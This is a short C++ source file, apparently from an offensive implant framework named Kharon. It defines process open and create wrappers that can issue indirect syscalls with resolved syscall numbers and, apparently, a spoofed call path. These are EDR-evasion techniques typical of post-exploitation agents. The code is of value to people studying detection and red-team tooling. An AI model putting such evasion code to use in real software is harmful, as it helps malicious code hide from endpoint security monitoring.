Files
2026-02-01 06:00:08 -03:00

51 lines
1.7 KiB
C++

#include <Kharon.h>
auto DECLFN Process::Open(
_In_ ULONG RightsAccess,
_In_ BOOL InheritHandle,
_In_ ULONG ProcessID
) -> HANDLE {
const UINT32 Flags = Self->Config.Syscall;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
HANDLE Handle = nullptr;
CLIENT_ID ClientID = { .UniqueProcess = UlongToHandle( ProcessID ) };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr) };
if ( ! Flags ) return Self->Krnl32.OpenProcess( RightsAccess, InheritHandle, ProcessID );
UPTR Address = SYS_ADDR( Sys::OpenProc );
UPTR ssn = SYS_SSN( Sys::OpenProc );
Status = Self->Spf->Call(
Address, ssn, (UPTR)&Handle, (UPTR)RightsAccess,
(UPTR)&ObjAttr, (UPTR)&ClientID
);
Self->Usf->NtStatusToError( Status );
return Handle;
}
auto Process::Create(
_In_ WCHAR* Application,
_In_ WCHAR* Command,
_In_ ULONG Flags,
_In_ LPSECURITY_ATTRIBUTES PsAttributes,
_In_ LPSECURITY_ATTRIBUTES ThreadAttributes,
_In_ BOOL Inherit,
_In_ PVOID Env,
_In_ WCHAR* CurrentDir,
_In_ STARTUPINFOW* StartupInfo,
_Out_ PROCESS_INFORMATION* PsInfo
) -> BOOL {
if ( Self->Config.Syscall ) {
return Self->Spf->Call(
(UPTR)Self->Krnl32.CreateProcessW, 0, (UPTR)Application,
(UPTR)Command, (UPTR)PsAttributes, (UPTR)ThreadAttributes, Inherit,
Flags, (UPTR)Env, (UPTR)CurrentDir, (UPTR)StartupInfo, (UPTR)PsInfo
);
}
return Self->Krnl32.CreateProcessW( Application, Command, PsAttributes, ThreadAttributes, Inherit, Flags, Env, CurrentDir, StartupInfo, PsInfo );
}